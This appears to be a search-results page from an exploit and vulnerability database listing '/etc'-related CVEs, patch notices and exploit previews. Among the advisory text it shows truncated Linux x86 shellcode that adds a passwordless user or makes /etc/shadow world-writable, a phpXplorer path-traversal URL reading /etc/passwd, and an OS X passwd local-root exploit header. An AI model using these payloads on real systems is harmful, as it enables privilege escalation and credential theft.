Solaris 2.5.1 (sparc) : 106718-01

The remote host is missing Sun Security Patch number 106718-01 SunScreen SKIP for Solaris 1.1.1: patch for /etc mode in packaging. Date this patch was last updated by Sun : Wed Sep 09 18:00:00 MDT 1998 You should install this patch for your system to be up-to-date. %NASLMINLEVEL 999999 @DEPRECATE...

Apple Mac OS X (/usr/bin/passwd) Custom Passwd Local Root Exploit

No description provided by source. !/usr/bin/perl /usr/bin/passwdOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Apple OSX's /usr/bin/passwd program has support for a custom passwd file to be used instead of the standard/static path. this feature has security issues in the...

CVE-2006-5005: Undefined Security Weakness

Unspecified vulnerability in bos.net.tcp.client in IBM AIX 5.2.0 and 5.3.0 allows local users to execute arbitrary commands via unspecified vectors involving /etc/slip.login...

linux/x86 executes command after setreuid 9 + 40 bytes + cmd

linux/x86 executes command after setreuid 9 + 40 bytes + cmd. Shellcode exploit for linx86 platform / bunkerexec.c V1.3 - Tue Mar 21 22:50:18 CET 2006 Linux/x86 bytecode that executes command after setreuid 9 + 40 bytes + cmd setreuid0, 0 + execve"/bin//sh", "/bin//sh","-c","cmd", NULL; "cmd" MUS...

CVE-2006-3878: Undefined Security Weakness

Opsware Network Automation System NAS 6.0 installs /etc/init.d/mysql with insecure permissions, which allows local users to read the root password for the MySQL MAX database or gain privileges by modifying /etc/init.d/mysql...

CVE-2006-2752: Undefined Security Weakness

The RedCarpet /etc/ximian/rcd.conf configuration file in Novell Linux Desktop 9 and SUSE SLES 9 has world-readable permissions, which allows attackers to obtain the rc RedCarpet password...

xosx-passwd.pl.txt

Original reference: http://fakehalo.us/xosx-passwd.pl --------------------------------------------------------------------- !/usr/bin/perl /usr/bin/passwdOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Apple OSX's /usr/bin/passwd program has support for a custom passwd fil...

CVE-2006-0837: Undefined Security Weakness

IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 has world-readable permissions for 1 /etc/neusecure.conf, 2 /opt/NeuSecure/etc/cms-3.0.236.buildconf, and 3 /opt/NeuSecure/bin/nsarchiver.log, which allows local users to read sensitive information such as passwords. NOTE: IBM has privately confirmed...

CVE-2006-0838: Undefined Security Weakness

IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 stores cleartext passwords in the 1 CMSDBPASS, 2 CMSMDBPASS, and 3 RPTDBPASS fields in /etc/neusecure.conf, and in 4 /opt/NeuSecure/bin/nsarchiver.log, which allows local users to gain privileges. NOTE: IBM has privately confirmed to CVE that a fix i...

CVE-2006-0623

CVE-2006-0623 is associated with QNX Neutrino RTOS 6.3.0. The vulnerability arises because /etc/rc.d/rc.local is shipped with world-writable permissions, allowing local users to modify the file and thereby execute arbitrary code at system startup. The connected records confirm the affected softwa...

CVE-2006-0623: Undefined Security Weakness

QNX Neutrino RTOS 6.3.0 ships /etc/rc.d/rc.local with world-writable permissions, which allows local users to modify the file and execute arbitrary code at system startup...

CVE-2005-4683: Undefined Security Weakness

PADL MigrationTools 46, when a failure occurs, stores contents of /etc/shadow in a world-readable /tmp/nis.$$.ldif file, and possibly other sensitive information in other temporary files, which are not properly managed by 1 migrateallonline.sh, 2 migratealloffline.sh, 3 migrateallnetinfoonline.sh...

linux/x86 Adduser without Password to /etc/passwd 59 bytes

linux/x86 Adduser without Password to /etc/passwd 59 bytes. Shellcode exploit for linx86 platform / linux/x86 adds user 'xtz' without password to /etc/passwd - 59 bytes - izik / char shellcode = "\x6a\x05" // push $0x5 // // : // "\x58" // pop %eax "\x99" // cltd "\x31\xc9" // xor %ecx,%ecx...

linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

Exploit for linux/x86 platform in category shellcode ==================================================== linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes ==================================================== / linux/x86 chmod"/etc/shadow", 0666 + exit - 32 bytes - izik / char shellcode = "\x6a\x0...

linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes

linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes. Shellcode exploit for linx86 platform / linux/x86 chmod"/etc/shadow", 0666 + exit - 32 bytes - izik / char shellcode = "\x6a\x0f" // push $0xf "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\x66\xb9\xb6\x01" // mov $0x1b6,%cx...

linux/x86 Adduser without Password to /etc/passwd 59 bytes

No description provided by source. / linux/x86 adds user 'xtz' without password to /etc/passwd - 59 bytes - izik [email protected] / char shellcode = "\x6a\x05" // push $0x5 // // exit: // "\x58" // pop %eax "\x99" // cltd "\x31\xc9" // xor %ecx,%ecx "\x66\xb9\x01\x04" // mov $0x401,%cx "\x52" // pu...

phpXplorer file inclusion

site:www.phpxplorer.org ------------------------------------------------ http://victim/folder/system/action.php?sShare=guest&sAction=../../../../../../../../../../../../etc/passwd00 ------------------------------------------------- example:...

Ubuntu 5.04 : kdelibs fixed packages (USN-114-2)

USN-114-1 fixed a vulnerability in the PCX decoder of kimgio. Unfortunately it was discovered that the original patches were faulty and caused regressions. This update now has the correct patches. This update also fixes the disappearing KDE settings which were caused by the accidental removal of...

Buffer overflow

Multiple buffer overflows in Cray UNICOS 9.0.2.2 might allow local users to gain privileges by 1 invoking /usr/bin/script with a long command line argument or 2 setting the -c option of /etc/nu to the name of a file containing a long line...

CVE-2006-0177

Multiple buffer overflows in Cray UNICOS 9.0.2.2 might allow local users to gain privileges by 1 invoking /usr/bin/script with a long command line argument or 2 setting the -c option of /etc/nu to the name of a file containing a long line...